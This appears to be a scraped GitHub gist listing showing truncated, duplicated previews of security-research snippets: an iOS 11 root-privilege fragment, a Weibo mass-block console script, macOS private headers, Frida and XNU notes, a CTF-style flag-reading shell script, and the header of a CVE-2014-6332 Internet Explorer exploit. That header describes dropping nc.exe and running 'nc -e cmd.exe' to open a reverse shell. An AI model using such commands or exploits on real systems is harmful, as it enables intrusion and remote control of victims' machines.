codecolorist ChiChou

## dsc_syms.c
// Moved here: https://github.com/Siguza/misc/blob/master/dsc_syms.c

## gist:d11e61afa7a0d0a9f2b5a1e42ee505d8
// gets uid 0 (iOS 11)
// add patchfinder and you should be good
// Abraham Masri @cheesecakeufo


/*
 * Purpose: iterates over the procs and finds our proc
 */
uint64_t get_our_proc() {

## KillWeiboDogs.js
// 1. 使用 chrome 打开 weibo.com （确保你登录了微博）
// 2. 打开调试窗口，在 console 中贴下面的代码后回车
// 数据来自：https://github.com/yu961549745/WeiboBlackList


let dogs = [ 5471246591, 5209943797, 1709070650, 1887921907, 1824515351, 6031549751, 3477430640, 5303365027, 2397004535, 5014141958, 2357033797, 2253196910, 1282371413, 5433169859, 5577097996, 2477460747, 5791757379, 3973075219, 5480191060, 5064046310, 1794010902, 5241254653, 1775613335, 1749775825, 2898929101, 1766122373, 5330205046, 5836217079, 2143736030, 5088125436, 2122838230, 2379528185, 5768433920, 1588830357, 2734746975, 1702267517, 3305446403, 1922854483, 2240459775, 1713064495, 3141318761, 3049734521, 1297708027, 1670201221, 1113091931, 2682353630, 1889031894, 5736617825, 5573535479, 1787098822, 5474940961, 2647495542, 1978558182, 5675487085, 2066669447, 1410124131, 3318338712, 5117947348, 5984813988, 1935760780, 2106405744, 1658278557, 3123751063, 2418980745, 5612086708, 2822792580, 2728966594, 5651704821, 3174983660, 2884830430, 1409910532, 5289026864, 5460203843, 30409

## HIServicesPrivate_v1.h
// HIServicesPrivate.h v1
// By ThatsJustCheesy

// TO USE THESE INTERFACES, you MUST link against ApplicationServices.framework.

#pragma once

#ifdef __cplusplus
extern "C" {
#endif

## 00-README.md

      
              4 files
            
          
              1 fork
            
          
              1 comment
            
          
              15 stars
            
          
                oleavr
                / 00-README.md
            
            
              Last active
              April 26, 2024 11:18
            
              
                Frida devkit examples
              
          
    frida-gum-example.c

$ clang -Wall -Os -pipe -g3 frida-gum-example.c -o frida-gum-example -L. -lfrida-gum -lresolv -Wl,-dead_strip -Wl,-no_compact_unwind
$ ./frida-gum-example
[*] open("/etc/hosts")
[*] close(3)
[*] open("/etc/fstab")
[*] close(-1)
[*] listener got 4 calls

[*] listener still has 4 calls

  
## xnu-syscall-life-amd64.md

      
              1 file
            
          
              4 forks
            
          
              1 comment
            
          
              27 stars
            
          
                yrp604
                / xnu-syscall-life-amd64.md
            
            
              Last active
              October 2, 2023 15:59
            
              
                The life of an XNU unix syscall on amd64
              
          
    XNU syscall path

Chart

             +------------------+
             |These push their  |                                  +-----------------------+
             |respective syscall|                                  |This overwrites the    |
             |dispatch functions|                                  |saved dispatch function|
             |onto the stack    |                                  |with hndl_alltraps     |


## syms.c
//
//  main.c
//  macho-syms
//
//  Created by C0deH4cker on 3/19/16.
//  Copyright © 2016 C0deH4cker. All rights reserved.
//

#include <stdio.h>
#include <stdlib.h>

## doit.sh
#!/bin/sh
echo 'sleep 600' | /tmp/unshare &
sleep 1;
echo 'echo -e "r\n/proc/self/fd/3/vault/flag" | /home/adam/vault_explorer' | /tmp/opendir /proc/$!/root

## fuzzyfinder.py
def fuzzyfinder(p, l):
        return map(lambda t: t[0], sorted(filter(lambda t: all(map(lambda x: x != -1, t[1])), map(lambda s: (s,map(s.find, p)), l)), key=lambda t: t[1]))

## cve-2014-6332_exploit.html
<html>
<head>
<!--
CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
'server_ip' and 'server_port' in javascript below determined the connect back target

Tested on
- IE11 + Windows 7 64-bit (EPM is off)
- IE11 + Windoes 8.1 64-bit (EPM is off)
	// gets uid 0 (iOS 11)
	// add patchfinder and you should be good
	// Abraham Masri @cheesecakeufo



	/*
	* Purpose: iterates over the procs and finds our proc
	*/
	uint64_t get_our_proc() {
	// 1. 使用 chrome 打开 weibo.com （确保你登录了微博）
	// 2. 打开调试窗口，在 console 中贴下面的代码后回车
	// 数据来自：https://github.com/yu961549745/WeiboBlackList


	let dogs = [ 5471246591, 5209943797, 1709070650, 1887921907, 1824515351, 6031549751, 3477430640, 5303365027, 2397004535, 5014141958, 2357033797, 2253196910, 1282371413, 5433169859, 5577097996, 2477460747, 5791757379, 3973075219, 5480191060, 5064046310, 1794010902, 5241254653, 1775613335, 1749775825, 2898929101, 1766122373, 5330205046, 5836217079, 2143736030, 5088125436, 2122838230, 2379528185, 5768433920, 1588830357, 2734746975, 1702267517, 3305446403, 1922854483, 2240459775, 1713064495, 3141318761, 3049734521, 1297708027, 1670201221, 1113091931, 2682353630, 1889031894, 5736617825, 5573535479, 1787098822, 5474940961, 2647495542, 1978558182, 5675487085, 2066669447, 1410124131, 3318338712, 5117947348, 5984813988, 1935760780, 2106405744, 1658278557, 3123751063, 2418980745, 5612086708, 2822792580, 2728966594, 5651704821, 3174983660, 2884830430, 1409910532, 5289026864, 5460203843, 30409
	// HIServicesPrivate.h v1
	// By ThatsJustCheesy

	// TO USE THESE INTERFACES, you MUST link against ApplicationServices.framework.

	#pragma once

	#ifdef __cplusplus
	extern "C" {
	#endif
	//
	// main.c
	// macho-syms
	//
	// Created by C0deH4cker on 3/19/16.
	// Copyright © 2016 C0deH4cker. All rights reserved.
	//

	#include <stdio.h>
	#include <stdlib.h>
	#!/bin/sh
	echo 'sleep 600' \| /tmp/unshare &
	sleep 1;
	echo 'echo -e "r\n/proc/self/fd/3/vault/flag" \| /home/adam/vault_explorer' \| /tmp/opendir /proc/$!/root
	def fuzzyfinder(p, l):
	return map(lambda t: t[0], sorted(filter(lambda t: all(map(lambda x: x != -1, t[1])), map(lambda s: (s,map(s.find, p)), l)), key=lambda t: t[1]))
	<html>
	<head>
	<!--
	CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell
	The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port"
	'server_ip' and 'server_port' in javascript below determined the connect back target

	Tested on
	- IE11 + Windows 7 64-bit (EPM is off)
	- IE11 + Windoes 8.1 64-bit (EPM is off)